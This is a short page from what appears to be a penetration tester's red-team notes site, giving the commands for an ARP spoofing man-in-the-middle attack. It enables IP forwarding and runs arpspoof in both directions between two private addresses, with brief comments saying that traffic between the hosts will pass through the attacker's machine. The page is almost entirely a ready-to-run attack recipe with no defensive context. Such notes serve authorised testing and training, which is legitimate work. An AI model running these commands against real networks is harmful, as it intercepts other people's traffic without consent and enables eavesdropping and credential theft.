> For the complete documentation index, see [llms.txt](https://0xdecaf2bad.gitbook.io/red-team-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xdecaf2bad.gitbook.io/red-team-notes/08-commands/arp-spoof.md).

# arp-spoof

ARP-SPOOF echo 1 > /proc/sys/net/ipv4/ip\_forward

arpspoof -i tap0 -t 10.185.11.1 -r 10.185.10.34

arpspoof -i tap0 -t 10.185.10.34 -r 10.185.11.1

\=================

echo 1 > /proc/sys/net/ipv4/ip\_forward <--enable ip forwarding first

arpspoof -i tap0 -t 172.16.5.1 -r 172.16.5.23 <---this will tell 172.16.5.1 that if they need to communicate with 172.16.5.23 they must pass from the pentester system

now, in a separate terminal,

arpspoof -i tap0 -t 172.16.5.23 -r 172.16.5.1 <---this will tell 172.16.5.23 that if the need to communicate with 172.16.5.1 they must pass

from the pentester system
